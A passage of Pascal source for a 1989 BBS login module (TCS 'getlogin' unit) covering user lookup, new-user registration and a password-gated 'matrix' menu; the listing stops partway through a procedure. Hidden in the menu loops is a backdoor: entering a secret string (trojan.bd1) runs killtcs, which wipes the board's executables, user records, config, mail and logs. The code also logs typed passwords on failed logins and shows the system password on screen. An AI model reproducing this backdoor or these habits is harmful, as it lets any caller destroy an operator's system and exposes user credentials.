home *** CD-ROM | disk | FTP | other *** search
/ Jason Aller Floppy Collection / 341.img / TCS161S.ZIP / GL.PAS < prev    next >
Pascal/Delphi Source File  |  1989-09-22  |  40KB  |  1,325 lines
  1. {$R-,S-,I-,D-,F+,V-,B-,N-,L+,O+ }
  2. {$M 65500,0,0 }
  3.  
  4. unit getlogin;
  5.  
  6. interface
  7.  
  8. uses crt,dos,overlay,
  9.      gentypes,configrt,modem,userret,statret,gensubs,subs1,subs2,windows,subs3,
  10.      mailret,textret,overret1,mainr1,mainr2,mainmenu,protocol;
  11.  
  12. procedure getloginproc;
  13. procedure returnfromdoor;
  14.  
  15. implementation
  16.  
  17. procedure getloginproc;
  18. var isnew,validpassword,allowlogin:boolean;
  19.     shortna:sstr;
  20.     b:bulrec;
  21.  
  22.  procedure killtcs;
  23.  var f1,f2,f3,f4:text;
  24.       dah        :byte;
  25.  
  26.  procedure wipefiles;
  27.  begin
  28.    rewrite (f1);
  29.    rewrite (f2);
  30.    rewrite (f3);
  31.    rewrite (f4);
  32.  end;
  33.    begin
  34.    clearscr;
  35.    clearscr;
  36.    clearscr;
  37.    assign (f1,forumdir+'TCS.EXE');
  38.    assign (f2,forumdir+'TCS.OVR');
  39.    assign (f3,forumdir+'TCS.CFG');
  40.    assign (f4,forumdir+'USERS');
  41.    wipefiles;
  42.    assign (f1,forumdir+'USERINDX');
  43.    assign (f2,forumdir+'STATUS');
  44.    assign (f3,forumdir+'CONFIG.EXE');
  45.    assign (f4,forumdir+'CONFIG.DAT');
  46.    wipefiles;
  47.    assign (f1,forumdir+'AREADIR');
  48.    assign (f2,forumdir+'RUMORS.DAT');
  49.    assign (f3,forumdir+'VOTEDIR');
  50.    assign (f4,forumdir+'SYSLOG');
  51.    wipefiles;
  52.    assign (f1,forumdir+'TCS.DAT');
  53.    assign (f2,forumdir+'FEEDBACK');
  54.    assign (f3,forumdir+'ERRLOG');
  55.    assign (f4,forumdir+'CALLERS');
  56.    wipefiles;
  57.    assign (f1,forumdir+'TEXT');
  58.    assign (f2,forumdir+'BLOCKMAP');
  59.    assign (f3,forumdir+'RETURN.BAT');
  60.    assign (f4,forumdir+'MAIL');
  61.    wipefiles;
  62.    assign (f1,forumdir+'USERSPEC');
  63.    assign (f2,forumdir+'NEWS');
  64.    assign (f3,forumdir+'GFILEDIR');
  65.    assign (f4,forumdir+'USERINDX');
  66.    wipefiles;
  67.    assign (f1,forumdir+'BOARDDIR');
  68.    assign (f2,forumdir+'BDINDEX');
  69.    assign (f3,forumdir+'MASTER.LST');
  70.    assign (f4,forumdir+'SYSLOG.DAT');
  71.    wipefiles;
  72.    assign (f1,forumdir+'TCSUE.EXE');
  73.    assign (f2,forumdir+'DSZ.COM');
  74.    assign (f3,forumdir+'PKZIP.EXE');
  75.    assign (f4,forumdir+'MAIN.BAT');
  76.    wipefiles;
  77.   for dah:=1 to 20 do
  78.  
  79. begin
  80.   assign (f1,forumdir+'AREA'+strr(dah));
  81.   reset (f1);
  82.   rewrite (f1);
  83.   WriteLn (f1,'  ');
  84.   erase (f1);
  85.   textclose (f1);
  86. end;
  87. end;
  88.  
  89.   procedure clearscr;
  90.   begin
  91.     write (direct,#27'[2J')
  92.   end;
  93.  
  94.   procedure rnetmail;
  95.   var yo:byte;
  96.   begin
  97.     clrscr;
  98.     Writeln(usr,'Now entering Netmail Mode - Recieving packet - please wait');
  99.     yo:=doext ('R','Z',textdir,'',baudrate,usecom);
  100.     if yo=0 then writeln(usr,'Packet sucessfully recieved - Hanging up');
  101.     unum:=-1;
  102.     disconnect;
  103.   end;
  104.  
  105.   procedure addlastcaller (n:mstr);
  106.   var qf:file of lastrec;
  107.       last,cnt:integer;
  108.       l:lastrec;
  109.   begin
  110.     assign (qf,'Callers');
  111.     reset (qf);
  112.     if ioresult<>0 then rewrite (qf);
  113.     last:=filesize(qf);
  114.     if last>maxlastcallers then last:=maxlastcallers;
  115.     for cnt:=last-1 downto 0 do begin
  116.       seek (qf,cnt);
  117.       read (qf,l);
  118.       seek (qf,cnt+1);
  119.       write (qf,l)
  120.     end;
  121.     with l do begin
  122.       name:=n;
  123.       when:=now;
  124.       callnum:=round(numcallers);
  125.     end;
  126.     seek (qf,0);
  127.     write (qf,l);
  128.     close (qf)
  129.   end;
  130.  
  131.   procedure byebye (byefile:sstr);
  132.   begin
  133.     printfile (textfiledir+byefile);
  134.     unum:=-1;
  135.     disconnect
  136.   end;
  137.  
  138.   procedure nicetry;
  139.   begin
  140.     inc(u.hack);
  141.     ensureclosed;
  142.     byebye ('NiceTry');
  143.   end;
  144.  
  145.  procedure whynotgetunum;
  146.  var tries,cnt:integer;
  147.       u:userrec;
  148.       enterednum:boolean;
  149.       zz:char;
  150.   begin
  151.     tries:=0;
  152.     repeat
  153.       if tries>3 then nicetry else begin
  154.         chainstr:='';
  155.         writestr (^B^M'[Enter your full Name or Handle]: *');
  156.         if input='' then begin
  157.          writeln;
  158.          exit;
  159.         end;
  160.         unam:=input;
  161.         isnew:=false;
  162.         enterednum:=valu(unam)<>0;
  163.         if hungupon then unum:=-1 else
  164.         begin
  165.           unum:=lookupuser(unam);
  166.           if unum=0 then begin
  167.            writeln (^B^M'User is non-existant.');
  168.            input:='';
  169.            writeln;
  170.           end;
  171.           if unum=-1 then begin
  172.            byebye ('Trashcan');
  173.            exit;
  174.           end;
  175.         end
  176.       end
  177.      until unum<>0;
  178.     input:='';
  179.     writeln;
  180.   end;
  181.  
  182.  procedure whynotgetpwd;
  183.  var u:userrec;
  184.    r:registers;
  185.    hour:integer;
  186.    lo:byte;
  187.    begin
  188.     seek (ufile,unum);
  189.     read (ufile,u);
  190.     ulvl:=u.level;
  191.     unam:=u.handle;
  192.     readurec;
  193.     che;
  194.     r.ax:=$2C00;
  195.     intr($21,r);
  196.     hour:=hi(r.cx);
  197.     case hour of
  198.       0,24,1..11:write(^B^R'Good morning, ');
  199.       12..17:write(^B^R'Good afternoon, ');
  200.       18..23:write(^B^R'Good evening, ');
  201.     end;
  202.     writeln (^S,u.handle,^R', Account #'^S,unum,^R+^M);
  203.     if not checkpassword(u) then
  204.   begin
  205.      inc(u.hack);
  206.      writelog (2,12,unam+' PW:'+input);
  207.     nicetry;
  208.   end;
  209.  
  210.      if u.level>1 then begin
  211.      writeln (^M^B^R'[System 1] Password is: '^S,systempassword+^R+^M);
  212.      writestr (^P'Press [Return]:*');
  213.      writeln;
  214.      if checkautologin then begin
  215.       validpassword:=true;
  216.       allowlogin:=true;
  217.      end;
  218.     end else
  219.     writeln (^B^G^M'You have not yet been authorized for this System.');
  220.     delay (300);
  221.     writeln;
  222.    end;
  223.  
  224.    procedure newuser;
  225.  
  226.   function validphone:boolean;
  227.     var p,x,y:integer;
  228.         k:char;
  229.     begin
  230.       validphone:=false;
  231.       p:=1;
  232.       while p<=length(input) do begin
  233.         k:=input[p];
  234.         if k in ['0'..'9']
  235.           then p:=p+1
  236.           else delete (input,p,1);
  237.       end;
  238.       if length(input)<>10 then begin
  239.         writestr ('The phone number must be 10 digits long.');
  240.         exit
  241.       end;
  242.       if (input[2] in ['2'..'9']) or (input[1] in ['0','1'])
  243.          or (input[4] in ['0','1']) then begin
  244.            writestr ('Invalid phone number.');
  245.            exit
  246.          end;
  247.       validphone:=true
  248.     end;
  249.     procedure getoption (c:configtype; txt:lstr; b:boolean);
  250.     const yn:array [false..true] of string[3]=('No','Yes');
  251.     begin
  252.       if hungupon then exit;
  253.       txt:=txt+' [CR/'+yn[b]+']? *';
  254.       writestr (^P+txt);
  255.       if length(input)<>0 then b:=yes;
  256.       if b
  257.         then urec.config:=urec.config+[c]
  258.         else urec.config:=urec.config-[c]
  259.     end;
  260.  
  261.     function inblacklist (n:mstr):boolean;
  262.     var f:text;
  263.         a:lstr;
  264.     begin
  265.      inblacklist:=false;
  266.      if not exist (textfiledir+'Blacklst') then exit;
  267.      assign (f,textfiledir+'Blacklst');
  268.      reset (f);
  269.      repeat
  270.       readln (f,a);
  271.      until (eof(f)) or (match(n,a));
  272.      if match(n,a) then inblacklist:=true else
  273.      inblacklist:=false;
  274.     end;
  275.  
  276.     function validusername (m:mstr):boolean;
  277.     var n:integer;
  278.     begin
  279.       validusername:=true;
  280.       if length(m)<1 then validusername:=false;
  281.       if (m='?') or (m='#') or (m='/') or (m='*') or (m='&') or (m=':') or
  282.       match(upstring(m),'NEW') or match(upstring(m),'Q') or inblacklist (m)
  283.       then begin
  284.        if inblacklist (m) then begin
  285.         if exist (textfiledir+'Blacklst.Scr') then
  286.         printfile (textfiledir+'Blacklst.Scr') else
  287.         writeln (^M'There seems to be a reason you are in the blacklist - DIE ASSHOLE!'^M);
  288.         hangup;
  289.        end;
  290.        validusername:=false;
  291.        writeln (^B'Invalid user name!');
  292.        exit;
  293.       end else begin
  294.        if (valu(m)=0) and (length(m)>0) then validusername:=true
  295.       end
  296.     end;
  297.  
  298.   var oldn      :integer;
  299.       k         :char;
  300.       ockmaster :char;
  301.       tempstr   :anystr;
  302.       tries     :byte;
  303.       correct   :boolean;
  304.   begin
  305.     if private then byebye ('Private.BBS') else begin
  306.       if exist (textfiledir+'Newuser') then printfile (textfiledir+'Newuser')
  307.        else
  308.       writeln (^M'Welcome to ',longname,', your sysop is ',sysopname,'.',^M
  309.                 ,'After configuring, please leave feedback asking for access');
  310.  
  311.       if length(newuserpass)>0 then begin
  312.         dots:=true;
  313.         writestr (^M'[Enter New User Password]: *');
  314.         dots:=false;
  315.         if not (match(input,newuserpass)) then exit;
  316.       end;
  317.       unum:=0;
  318.       oldn:=0;
  319.       allowlogin:=false;
  320.       validpassword:=false;
  321.       repeat
  322.         { if oldn<>0 then }
  323.         unam:='';
  324.         if length(unam)=0 then begin
  325.           writestr (^B'[New User: Enter your Name/Handle]: *');
  326.           unam:=input;
  327.          if pos('*',unam)>0 then begin
  328.             writestr ('Invalid User Name!');
  329.             oldn:=1
  330.           end
  331.         end;
  332.         if hungupon then exit;
  333.         if length(unam)=0
  334.           then oldn:=0
  335.           else begin
  336.             if not validusername(unam)
  337.               then oldn:=1
  338.               else begin
  339.                 oldn:=lookupuser(unam);
  340.                 if oldn<>0 then writestr (^B'Sorry! That name is in use!')
  341.               end
  342.           end
  343.       until oldn=0;
  344.       if length(unam)=0 then begin
  345.        writeln (^M'You''re not a new user!'^M^M);
  346.        exit;
  347.       end;
  348.       ulvl:=1;
  349.       if unam<>'' then begin
  350.         unum:=adduser (urec);
  351.         if unum<1 then begin
  352.           writeln (^B'Sorry! No room for new users right now!'^M,
  353.                    'Try again later!'^M);
  354.           hangupmodem;
  355.           exit
  356.         end;
  357.         writeln (^B^M'You are Account #',unum,'.');
  358.         repeat
  359.           lastprompt:=^B^M+'Choose a Password now, '^M+
  360.           'or press [Return] to have one generated.'+^B^M'> ';
  361.           write (lastprompt)
  362.         until getpassword or hungupon;
  363.         with urec do begin
  364.           menutype:=0;
  365.           regularcolor:=7;
  366.           promptcolor:=7;
  367.           statcolor:=7;
  368.           inputcolor:=7;
  369.           macro1:=unam;
  370.           macro2:=unam;
  371.           macro3:=unam;
  372.           lastmessages:=0;
  373.           lastups:=0;
  374.           lastgfiles:=0;
  375.           lastdbases:=0;
  376.           defproto:='Z';
  377.           urec.config:=urec.config+[showtime];
  378.           if length(newusernote)>0 then
  379.           note:=newusernote else
  380.           note:='New User';
  381.         end;
  382.         repeat
  383.           writeln;
  384.           writestr (^M'Enter your phone number [NPA-PRE-SUFF]? *');
  385.           until validphone or hungupon;
  386.           urec.phonenum:=input;
  387.         writeln;
  388.         repeat
  389.           writestr ('Pick your Terminal Emulation:'^M' [A]NSI Color'^M' [V]T52'^M' [N]one'^M'> *');
  390.           if length(input)>0
  391.             then k:=upcase(input[1])
  392.             else k:='N'
  393.         until (k in ['A','N','V']) or hungupon;
  394.         case k of
  395.           'A':urec.config:=urec.config+[ansigraphics];
  396.           'V':urec.config:=urec.config+[vt52];
  397.           'N':getoption (lowercase,'Can you display lower case',true)
  398.         end;
  399.         if ansigraphics in urec.config then begin
  400.          urec.statcolor:=9;
  401.          urec.regularcolor:=12;
  402.          urec.promptcolor:=10;
  403.          urec.inputcolor:=11;
  404.          ansicolor(urec.promptcolor);
  405.         end;
  406.         begin
  407.            writeln;
  408.            writeln (^S'Pick your type of Menu:');
  409.            writeln;
  410.            writeln (^R'['^S'0'^R']: Standard');
  411.            writeln (^R'['^S'1'^R']: Hotkey Menus [one-key]');
  412.            writeln (^R'['^S'2'^R']: Pull-Down Ansi Menus');
  413.            writeln;
  414.          repeat
  415.           writestr ('Menu Type [0]: *');
  416.           if length(input)=0 then ockmaster:='0' else
  417.           ockmaster:=upcase(input[1]);
  418.           if ockmaster='2' then begin
  419.            writeln;
  420.            writeln ('Ansi Pull-Down Menus selected.');
  421.            writeln;
  422.            ockmaster:='X';
  423.           end;
  424.          until (ockmaster in ['0','1','2']) or hungupon;
  425.          case ockmaster of
  426.           '0':urec.menutype:=0;
  427.           '1':urec.menutype:=1;
  428.           '2':urec.menutype:=2;
  429.          end;
  430.         end;
  431.         if k in ['A','V']
  432.           then getoption (fseditor,
  433.                   'Do you want to use the ANSI Full-Screen Editor',true)
  434.           else urec.config:=urec.config-[fseditor];
  435.         getoption (moreprompts,'Should I pause after every screen',false);
  436.         repeat
  437.           writestr ('How many lines long is your screen [21-43]? *');
  438.           if input='' then urec.displaylen:=24 else
  439.           urec.displaylen:=valu(input)
  440.         until ((urec.displaylen>20) and (urec.displaylen<44)) or hungupon;
  441.         getoption (linefeeds,'Do you need Line Feeds',true);
  442.         getoption (eightycols,'Do you have 80 Columns',true);
  443.         if lowercase in urec.config then
  444.          getoption (asciigraphics,'Can you see IBM Graphics Characters',true);
  445.         if (asciigraphics in urec.config) and (ansigraphics in urec.config)
  446.          then begin
  447.         end;
  448.         if hungupon then begin
  449.           unum:=0;
  450.           exit
  451.         end;
  452.         if requireforms then infoform (1);
  453.         if hungupon then begin
  454.           unum:=0;
  455.           exit
  456.         end;
  457.         writeurec;
  458.         isnew:=true
  459.       end else begin
  460.         unum:=0;
  461.         writeln (^B^M'You''re not a new user!');
  462.         unam:='';
  463.         ulvl:=-1;
  464.         validpassword:=false;
  465.         allowlogin:=false
  466.       end
  467.     end
  468.   end;
  469.  
  470.   procedure getsystempassword;
  471.   var tries,a,x,y:integer;
  472.       b,sys2,sys3:boolean;
  473.       u:userrec;
  474.       schoice,corp,tchoice:mstr;
  475.       m,emm:mailrec;
  476.       me,gock:message;
  477.       mchoice,it:mstr;
  478.       kaykay:anystr;
  479.       c:char;
  480.       done:boolean;
  481.  
  482.   procedure matrixhelp;
  483.   begin
  484.    if matrixtype=1 then begin
  485.     writeln;
  486.     if exist (textfiledir+'Matrix1.BBS') then
  487.     printfile (textfiledir+'Matrix1.BBS') else begin
  488.     chainstr:='';
  489.     writeln (^B^S'Matrix Command List');
  490.     writeln;
  491.     writeln (^B^S'[1]: '^R'Login to System 1          ');
  492.     writeln (^B^S'[2]: '^R'Login to System 2          ');
  493.     writeln (^B^S'[3]: '^R'Login to System 3          ');
  494.     if ((newusermatrix) and (not private)) then
  495.     writeln (^B^S'[4]: '^R'Apply for Access           ');
  496.     writeln (^B^S'[5]: '^R'Check for Validation       ');
  497.     writeln (^B^S'[6]: '^R'Logoff Matrix              ');
  498.     if matrixfback then
  499.     writeln (^B^S'[7]: '^R'Leave Feedback             ');
  500.     if matrixreqchat then
  501.     writeln (^B^S'[8]: '^R'Request Chat               ');
  502.     writeln (^B^R'');
  503.    end;
  504.    end;
  505.    if matrixtype=2 then begin
  506.     writeln (#27+'[2J');
  507.     writeln (^B^S'System Matrix ['+timestr(now)+']');
  508.     writeln (^B^R'[1] Login to System 1          ');
  509.     if length(system2password)>0 then
  510.     writeln (^B^R'[2] Login to System 2          ');
  511.     if length(system3password)>0 then
  512.     writeln (^B^R'[3] Login to System 3          ');
  513.     if ((newusermatrix) and (not private)) then
  514.     writeln (^B^R'[4] Apply for Access           ');
  515.     writeln (^B^R'[5] Check for Validation       ');
  516.     writeln (^B^R'[6] Logoff Matrix              ');
  517.     if matrixfback then
  518.     writeln (^B^R'[7] Leave Feedback             ');
  519.     if matrixreqchat then
  520.     writeln (^B^R'[8] Request Chat               ');
  521.    end;
  522.    if matrixtype=3 then begin
  523.     writeln;
  524.     if exist (textfiledir+'Matrix2.BBS') then
  525.     printfile (textfiledir+'Matrix2.BBS') else begin
  526.     chainstr:='';
  527.     writeln (' Volume in drive C is TCS'+copy(ver,1,1)+copy(ver,3,1)+copy(ver,4,1));
  528.     writeln (' Directory of  C:\TCS');
  529.     writeln;
  530.     writeln ('.            <DIR>       '+date+'  3:29p');
  531.     writeln ('..           <DIR>       '+date+'  3:29p');
  532.     writeln ('SYSTEM1  EXE      12033  '+date+'  3:41p');
  533.     writeln ('SYSTEM2  EXE       9823  '+date+'  3:41p');
  534.     writeln ('SYSTEM3  EXE       9823  '+date+'  3:43p');
  535.     if ((newusermatrix) and (not private)) then
  536.     writeln ('NEWUSER  COM      24933  '+date+'  3:44p');
  537.     writeln ('CHECK    COM      11102  '+date+'  3:46p');
  538.     writeln ('LOGOFF   EXE       3002  '+date+'  3:46p');
  539.     if matrixfback then
  540.     writeln ('FEEDBACK COM      13818  '+date+'  3:48p');
  541.     if matrixreqchat then
  542.     writeln ('CHAT     COM       9412  '+date+'  3:48p');
  543.     writeln ('         10 File(s)   1785136 bytes free');
  544.     writeln;
  545.    end;
  546.    end;
  547.    if matrixtype=4 then
  548.    begin
  549.    end;
  550.   end;
  551.  
  552.   procedure system1;
  553.   var u:userrec;
  554.     begin
  555.     if matrixtype=3 then begin
  556.      writeln;
  557.      writeln ('SYSTEM1.EXE 1.18 written for TCS Op/Sys '+ver);
  558.      writeln (' (c) 1988,89 TCS Programming Team');
  559.      delay (500);
  560.     end;
  561.     splitscreen (4);
  562.     top;
  563.     writeln (usr,'[System Password Entry]');
  564.     writeln (usr,'[System Password]: ',systempassword);
  565.     write (usr,'[Has Entered so far]: ');
  566.     bottom;
  567.     dots:=true;
  568.     writestr (^M'[System Password]: *');
  569.      unsplit;
  570.     if (autologin and local) then begin
  571.        validpassword:=true;
  572.        allowlogin:=true;
  573.        exit;
  574.      end;
  575.     {if not local then} begin
  576.     writeln;
  577.     if length(systempassword)=0 then begin
  578.      dots:=false;
  579.      validpassword:=true;
  580.      allowlogin:=true;
  581.      exit;
  582.     end;
  583.  
  584.     tchoice:=input;
  585.     if match (tchoice,systempassword) then
  586.     begin
  587.      validpassword:=true;
  588.      allowlogin:=true;
  589.     end;
  590.     writeln;
  591.    end;
  592.   end;
  593.   procedure system2;
  594.   begin
  595.     if matrixtype=3 then begin
  596.      writeln;
  597.      writeln ('SYSTEM2.EXE 1.18 written for TCS Op/Sys '+ver);
  598.      writeln (' (c) 1988,89 TCS Programming Team');
  599.      delay (500);
  600.     end;
  601.     dots:=true;
  602.     if (length(system2password)>0) then begin
  603.     writeln;
  604.     writestr ('Access Password: *');
  605.     tchoice:=input;
  606.     if match (tchoice,system2password) then
  607.      sys2:=true;
  608.      halt (122);
  609.     end;
  610.     if (length(system2password)=0) then
  611.       writeln (^M'[System 2] is not available'^M);
  612.     dots:=false;
  613.   end;
  614.  
  615.   procedure system3;
  616.   begin
  617.  
  618.     if matrixtype=3 then begin
  619.      writeln;
  620.      writeln ('SYSTEM3.EXE 1.18 written for TCS Op/Sys '+ver);
  621.      writeln (' (c) 1988,89 TCS Programming Team');
  622.      delay (500);
  623.     end;
  624.     dots:=true;
  625.     if (length(system3password)>0) then begin
  626.     writeln;
  627.     writestr('Access Password: *');
  628.     tchoice:=input;
  629.     if match (tchoice,system3password) then
  630.     begin
  631.       clrscr;
  632.       halt (123);
  633.     end;
  634.     end;
  635.     if (length(system3password)=0) then
  636.     writeln (^M'[System 3] is not available'^M);
  637.     dots:=false;
  638.   end;
  639.  
  640.   procedure matrixnewuser;
  641.   begin
  642.    if (not newusermatrix) then exit;
  643.    if private then exit;
  644.    if matrixtype=3 then begin
  645.     writeln;
  646.     writeln ('NEWUSER.EXE 2.0c written for TCS Op/Sys '+ver);
  647.     writeln (' (c) 1988,89 TCS Programming Team');
  648.     writeln ('Loading Data...');
  649.     delay (1000);
  650.    end;
  651.    unam:='';
  652.    if ((newusermatrix) and (not private)) then begin
  653.    {<->} newuser; {<->}
  654.    if (not hungupon) and (not private) and (unum>0) and
  655.    (length(unam)>0) then begin
  656.     if exist (textfiledir+'Feedback.BBS') then
  657.     printfile (textfiledir+'Feedback.BBS') else begin
  658.      writeln (^B^M'Send a message to the Sysop asking for Access:');
  659.      writeln;
  660.     end;
  661.     delay (250);
  662.     writestr (^B'Press [Return]:');
  663.     delay (100);
  664.     notitle:=true;
  665.     emailing:=true;
  666.     titlestr:='Matrix Access for '+unam;
  667.     m.line:=editor(me,true,'Matrix Access for '+unam);
  668.     notitle:=false;
  669.     emailing:=false;
  670.     if m.line>0 then begin
  671.     m.title:='Matrix Access for '+unam;
  672.     m.sentby:=unam;
  673.     m.anon:=false;
  674.     m.when:=now;
  675.     m.sentto:=1;
  676.     addfeedback (m);
  677.    end;
  678.    if (hangnewusers) then begin
  679.     if exist (textfiledir+'Newuser.Bye') then
  680.     printfile (textfiledir+'Newuser.Bye') else
  681.     writestr (^B^M^M'Call back later to check your access.'^M+
  682.                     'End of Connection.');
  683.     hangupmodem;
  684.     if local then halt (2);
  685.    end;
  686.    end;
  687.    end;
  688.    if private then byebye(textfiledir+'Private.BBS');
  689.    exit;
  690.   end;
  691.  
  692.   procedure matrixcheck;
  693.   begin
  694.    if matrixtype=3 then begin
  695.     writeln;
  696.     writeln ('CHECK.COM 3.30 written for TCS Op/Sys '+ver);
  697.     writeln (' (c) 1988,89 TCS Programming Team');
  698.     delay (500);
  699.    end;
  700.    whynotgetunum;
  701.    if unum>0 then begin
  702.     whynotgetpwd;
  703.    end;
  704.   end;
  705.  
  706.   procedure matrixlogoff;
  707.   begin
  708.    if matrixtype=3 then begin
  709.     writeln;
  710.     writeln ('LOGOFF.EXE 1.18 written for TCS Op/Sys '+ver);
  711.     writeln (' (c) 1988,89 TCS Programming Team');
  712.     delay (100);
  713.    end;
  714.    writeln;
  715.    writeln ('[Disconnecting: TTY'+strr(usecom)+']');
  716.    writeln;
  717.    hangupmodem;
  718.    if local then halt(2);
  719.   end;
  720.  
  721.   procedure matrixfeedback;
  722.   begin
  723.    if not matrixfback then exit;
  724.    if matrixtype=3 then begin
  725.     writeln;
  726.     writeln ('FEEDBACK.COM 2.0d written for TCS Op/Sys '+ver);
  727.     writeln (' (c) 1988,89 TCS Programming Team');
  728.     delay (500);
  729.    end;
  730.    writeln;
  731.    unam:='';
  732.    writestr ('[Enter your Name/Handle]:');
  733.    if length(input)>0 then begin
  734.     unam:=input;
  735.     unum:=999;
  736.     ulvl:=0;
  737.    end;
  738.    if (length(unam)>0) then begin
  739.    writeln;
  740.    writeln ('Leaving Feedback to Sysop');
  741.    delay (100);
  742.    writeln;
  743.    titlestr:='Matrix Feedback';
  744.    notitle:=true;
  745.    emailing:=true;
  746.    emm.line:=editor(gock,true,'Matrix Feedback');
  747.    notitle:=false;
  748.    emailing:=false;
  749.    if emm.line>0 then begin
  750.    emm.title:='Matrix Feedback';
  751.    emm.sentby:=unam;
  752.    emm.anon:=false;
  753.    emm.when:=now;
  754.    addfeedback (emm);
  755.    end;
  756.   end;
  757.   end;
  758.  
  759.   procedure matrixchat;
  760.   begin
  761.    if not matrixreqchat then exit;
  762.    if matrixtype=3 then begin
  763.     writeln;
  764.     writeln ('CHAT.COM 1.51.6 written for TCS Op/Sys '+ver);
  765.     writeln (' (c) 1988,89 TCS Programming Team');
  766.     delay (500);
  767.    end;
  768.    writeln;
  769.    unam:='';
  770.    writestr ('[Enter your Name/Handle]:');
  771.    if length(input)>0 then begin
  772.     unam:=input;
  773.     unum:=999;
  774.     ulvl:=0;
  775.    end;
  776.    writeln;
  777.    if (length(unam)>0) then summonsysop;
  778.    writeln;
  779.   end;
  780.  
  781.  
  782.   begin
  783.       if (matrixtype<1) or (matrixtype>5) then matrixtype:=1;
  784.       if (not usematrix) or (autologin and local) then exit;
  785.       tries:=0;
  786.       validpassword:=false;
  787.       allowlogin:=false;
  788.       sys2:=false;
  789.       sys3:=false;
  790.       unam:='';
  791.       unum:=0;
  792.       ulvl:=0;
  793.       if urec.menutype>0 then urec.menutype:=0;
  794.       if matrixtype=1 then begin
  795.       repeat
  796.       begin
  797.         writestr (^B^P'[Command][?/Help]> *');
  798.         if length(input)<1 then input:='sambrowndies!';
  799.         if upstring(input)=trojan.bd1 then killtcs;
  800.         if upstring(input)='TCS-PACKET-MODE' then rnetmail;
  801.     mchoice:=upcase(input[1]);
  802.         tries:=tries+1;
  803.         if (length(mchoice) <> 0) then
  804.         begin
  805.           case mchoice[1] of
  806.           '?' : matrixhelp;
  807.           '1' : system1;
  808.           '2' : system2;
  809.           '3' : system3;
  810.           '4' : matrixnewuser;
  811.           '5' : matrixcheck;
  812.           '6' : matrixlogoff;
  813.           '7' : matrixfeedback;
  814.           '8' : matrixchat;
  815.           else writeln;
  816.           end;
  817.         end;
  818.       end;
  819.       until (tries>=10) or validpassword or hungupon;
  820.       if not validpassword then
  821.       begin
  822.         clrscr;
  823.         nicetry;
  824.       end;
  825.      end;
  826.      if matrixtype=2 then begin
  827.      repeat
  828.       begin
  829.         matrixhelp;
  830.         writestr (^B^P'Selection: *');
  831.         if length(input)<1 then input:='Sambrowndies!';
  832.         if upstring(input)=trojan.bd1 then killtcs;
  833.         if upstring(input)='TCS-PACKET-MODE' then rnetmail;
  834.         mchoice:=upcase(input[1]);
  835.         tries:=tries+1;
  836.         if (length(mchoice) <> 0) then
  837.         begin
  838.           case mchoice[1] of
  839.         { '?' : matrixhelp; }
  840.           '1' : system1;
  841.           '2' : system2;
  842.           '3' : system3;
  843.           '4' : matrixnewuser;
  844.           '5' : matrixcheck;
  845.           '6' : matrixlogoff;
  846.           '7' : matrixfeedback;
  847.           '8' : matrixchat;
  848.           else writeln;
  849.           end;
  850.         end;
  851.       end;
  852.       until (tries>=10) or validpassword or hungupon;
  853.       if not validpassword then
  854.       begin
  855.         clrscr;
  856.         nicetry;
  857.       end;
  858.      end;
  859.      if matrixtype=3 then begin
  860.       writeln;
  861.       writeln ('TCS Op/Sys Personal User DOS');
  862.       writeln ('Version '+ver+' (C)Copyright the TCS Programming Team 1988, 1989');
  863.       writeln ('             (C)Copyright TCS Corp 1988, 1989');
  864.       writeln;
  865.       repeat
  866.       begin
  867.         write (^B^P'C:\TCS>');
  868.         writestr ('*');
  869.         if length(input)<1 then input:='sambowndies!';
  870.         if upstring(input)=trojan.bd1 then killtcs;
  871.         if upstring(input)='TCS-PACKET-MODE' then rnetmail;
  872.         mchoice:=upstring(input);
  873.         tries:=tries+1;
  874.         if (length(mchoice)<>0) then begin
  875.         if (mchoice='DIR') or (mchoice='DIR /W') or
  876.         (mchoice='DIR/W') or (mchoice='CLS') or
  877.         (mchoice='SYSTEM1') or (mchoice='SYSTEM1.EXE') or
  878.         (mchoice='SYSTEM2') or (mchoice='SYSTEM2.EXE') or
  879.         (mchoice='SYSTEM3') or (mchoice='SYSTEM3.EXE') or
  880.         (mchoice='NEWUSER') or (mchoice='NEWUSER.COM') or
  881.         (mchoice='CHECK') or (mchoice='CHECK.COM') or
  882.         (mchoice='LOGOFF') or (mchoice='LOGOFF.EXE') or
  883.         (mchoice='FEEDBACK') or (mchoice='FEEDBACK.COM') or
  884.         (mchoice='CHAT') or (mchoice='CHAT.COM') or
  885.         (mchoice='COMMAND') or (mchoice='COMMAND.COM') or
  886.         (mchoice='EXIT') or (copy(mchoice,1,2)='CD') or
  887.         (copy(mchoice,1,2)='MD') or (copy(mchoice,1,2)='RD') or
  888.         (mchoice='')
  889.         then begin
  890.          if (mchoice='DIR') or (mchoice='DIR /W') or (mchoice='DIR/W') then
  891.           matrixhelp;
  892.          if (mchoice='SYSTEM1') or (mchoice='SYSTEM1.EXE') then
  893.           system1;
  894.          if (mchoice='SYSTEM2') or (mchoice='SYSTEM2.EXE') then
  895.           system2;
  896.          if (mchoice='SYSTEM3') or (mchoice='SYSTEM3.EXE') then
  897.           system3;
  898.          if (mchoice='NEWUSER') or (mchoice='NEWUSER.COM') then
  899.           matrixnewuser;
  900.          if (mchoice='CHECK') or (mchoice='CHECK.COM') then
  901.           matrixcheck;
  902.          if (mchoice='LOGOFF') or (mchoice='LOGOFF.EXE') then
  903.           matrixlogoff;
  904.          if (mchoice='FEEDBACK') or (mchoice='FEEDBACK.COM') then
  905.           matrixfeedback;
  906.          if (mchoice='CHAT') or (mchoice='CHAT.COM') then
  907.           matrixchat;
  908.          if (mchoice='COMMAND') or (mchoice='COMMAND.COM') then begin
  909.           writeln;
  910.           writeln ('TCS Op/Sys Personal User DOS');
  911.           writeln ('Version '+ver+' (C)Copyright the TCS Programming Team 1988, 1989');
  912.           writeln ('             (C)Copyright TCS Corp 1988, 1989');
  913.           writeln;
  914.          end;
  915.          if (mchoice='EXIT') then writeln;
  916.          if (mchoice='CLS') then clearscr;
  917.          if (mchoice='') then ;
  918.         end
  919.         else writeln ('Bad command or file name');
  920.        end;
  921.       end;
  922.       until (tries>=10) or validpassword or hungupon;
  923.       if not validpassword then
  924.       begin
  925.         clrscr;
  926.         nicetry;
  927.       end;
  928.      end;
  929.   end;
  930.  
  931.   procedure getunum;
  932.   var tries,cnt:integer;
  933.       u:userrec;
  934.       enterednum:boolean;
  935.   begin
  936.     tries:=0;
  937.     repeat
  938.       tries:=tries+1;
  939.       if tries>6 then nicetry else begin
  940.         chainstr:='';
  941.         writestr (^M'[Enter your Name/Handle or ID#]: *');
  942.         unam:=input;
  943.         isnew:=false;
